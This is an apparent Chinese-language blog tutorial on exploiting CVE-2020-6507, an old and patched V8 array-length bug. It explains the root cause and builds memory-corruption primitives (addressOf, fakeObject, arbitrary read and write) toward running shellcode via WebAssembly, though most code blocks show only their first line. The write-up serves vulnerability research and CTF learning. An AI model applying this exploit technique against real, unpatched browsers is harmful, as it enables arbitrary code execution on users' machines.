V8利用(3)-CVE-2020-6507
环境搭建
首先从chrome的官方更新公告 中搜索CVE-2020-6507,然后可以找到bug详细说明1086890 - Security: Missing array size check in NewFixedArray - chromium
漏洞影响版本:受影响的Chrome最高版本为:83.0.4103.97
受影响的V8最高版本为:8.3.110.9
编译之前的版本即可
1 | ./build.sh 8.3.110.9 |
关于如何找到chrome对应版本的V8版本:https://chromiumdash.appspot.com/branches,直接在此处查找即可。chrome版本一般会直接在CVE或issue中标出。
POC
1 | array = Array(0x40000).fill(1.1); |
漏洞测试
将alert
改成console.log
,发现输出为
1 | corrupted array length: 12121212 |
那么该POC的功能就是修改corrupted_array
的length
成员。在修改后,即可越界读写。
但是由于修改length成员时同时也将elements
成员置0了,此时再读取corrupted_array
内的数据便是从内存段开始读。经过测试可以发现在同一内存布局中,对象的低32bit地址不变。因此可以修改测试代码为模板格式
1 | var wasmCode = new Uint8Array([0,97,115,109,1,0,0,0,1,133,128,128,128,0,1,96,0,1,127,3,130,128,128,128,0,1,0,4,132,128,128,128,0,1,112,0,0,5,131,128,128,128,0,1,0,1,6,129,128,128,128,0,0,7,145,128,128,128,0,2,6,109,101,109,111,114,121,2,0,4,109,97,105,110,0,0,10,138,128,128,128,0,1,132,128,128,128,0,0,65,42,11]); |
运行此代码,即可泄露出map地址。然后来进一步利用。
关于漏洞成因在文末介绍,接下来看看该如何编写exp以利用此漏洞。
漏洞利用
如果修改代码,那么内存布局就会发生变化,因此在测试过程中,需要不断查看double_array
对象地址,在修改corrupted_array
的length的同时修改elements指针为double_array
地址,即可做到map读写。同时由于obj_array
在double_array
对象后,也可以修改其map
addressOf
1 | function addressOf(target_var) |
fakeObject
1 | function fakeObject(target_var) |
AAR
1 | var fake_array = [int_to_float(double_array_map), int_to_float(0x4141414141414141n)] |
AAW
1 | function AAW(addr, value) |
write shellcode
1 | function shellcode_write(addr,shellcode) |
最终exp
该exp仅支持在本机环境中运行,因为不同的环境会导致地址不同,以及偏移不同。且运行起来非常不稳定。
(事实上编写该exp直接按照模板就行,不过由于地址会不断变化,每次修改代码都需要重新修改corrupted_array
的被覆盖elements成员值,甚至fake_array
的elements
成员偏移也会变化)
1 | //test.js |
进行多次尝试后,成功执行
1 | fuzz@ubuntu:~/v8/out/x64_8.3.110.9.release$ ./d8 --allow-natives-syntax ~/CVE/CVE-2020-6507/poc.js |
漏洞原理
完成了漏洞的利用,接下来深入了解一下漏洞是如何形成的。此漏洞的详细信息可以直接看https://issues.chromium.org/issues/40052419
接下来对POC进行解释
1 | array = Array(0x40000).fill(1.1); |
在上述代码中,首先创建长度为0x40000大小的array,然后乘以0xFF,再加入0x3FFFC大小,最后利用splice方法加入3个元素,这样算下来giant_array
的长度为0x40000*0xff+0x3fffc+3=67108863
,但是V8规定浮点数组的大小最大为67108862
来看diff文件
1 |
|
发现对Array加入了最大长度检查,说明原来的版本未处理数组越界。
继续看POC中的trigger函数
1 | length_as_double = |
array
的长度为67108863
,经过x -= 67108861
之后x = 2
,但V8会认为array
的最大长度为67108862
,那么它认为x的最大值为1。再经过x = Math.max(x, 0)
得到x = 2
,而V8认为x最大值为1,最小值为0。并且经过后续x *= 6; x -= 5; x = Math.max(x, 0);
,实际值x = 7
,但V8认为x的值只能为0或1,显然在corrupting_array
的边界内,然后再大量执行该函数,V8便会标记该函数,并进行优化,最终导致的结果就是去除array的边界检查,直接对对应位置进行赋值。即corrupting_array[7] = length_as_double
,而corrupting_array[7]
对应位置即为corrupted_array
的elements
和length
值
在了解了漏洞原理之后,我们可以尝试优化exp来实现相对稳定的getshell
exp优化
POC优化
原来的poc对length
修改之后会导致elements
成员也被修改,从而需要不断写入目标低32bit值,优化的目的是使修改length
时不再影响elements
的值,这样就能继续利用了,优化后的POC如下
1 | array = Array(0x40000).fill(1.1); |
我将splice
加入的元素数量改到了4个,这样在trigger
函数中,数组赋值位置会变为corrupting_array[11]
,而在trigger
函数中,我加入了一个a
变量,其elements
结构中的value
只占4字节,便会将corrupted_array
的地址错位4字节,从而使得在修改length
时不会再修改elements
执行结果仍为
1 | fuzz@ubuntu:~/v8/out/x64_8.3.110.9.release$ ./d8 --allow-natives-syntax ~/CVE/CVE-2020-6507/exp2.js |
exp2
只需要调试一下,看下各个对象在内存中相对corrupted_array
的偏移,稍加改动即可。
1 | var wasmCode = new Uint8Array([0,97,115,109,1,0,0,0,1,133,128,128,128,0,1,96,0,1,127,3,130,128,128,128,0,1,0,4,132,128,128,128,0,1,112,0,0,5,131,128,128,128,0,1,0,1,6,129,128,128,128,0,0,7,145,128,128,128,0,2,6,109,101,109,111,114,121,2,0,4,109,97,105,110,0,0,10,138,128,128,128,0,1,132,128,128,128,0,0,65,42,11]); |
最终稳定getshell
1 | fuzz@ubuntu:~/v8/out/x64_8.3.110.9.release$ ./d8 --allow-natives-syntax ~/CVE/CVE-2020-6507/exp2.js |
总结
V8漏洞从原理上来看还是比较复杂的,如果要深究其代码,分析起来相对较难。但如果仅仅是根据POC写出exp的话(对于简单的打CTF来说),根据模板就可以较为容易的写出。同时在了解漏洞产生原理之后,应该尽可能优化POC,优化exp,毕竟按回车直接拿到shell是pwn人最舒服的时刻了。
- Title: V8利用(3)-CVE-2020-6507
- Author: Static
- Created at : 2024-03-10 16:37:25
- Updated at : 2024-03-10 16:36:56
- Link: https://staticccccccc.github.io/2024/03/10/V8/V8利用(3)-CVE-2020-6507/
- License: This work is licensed under CC BY-NC-SA 4.0.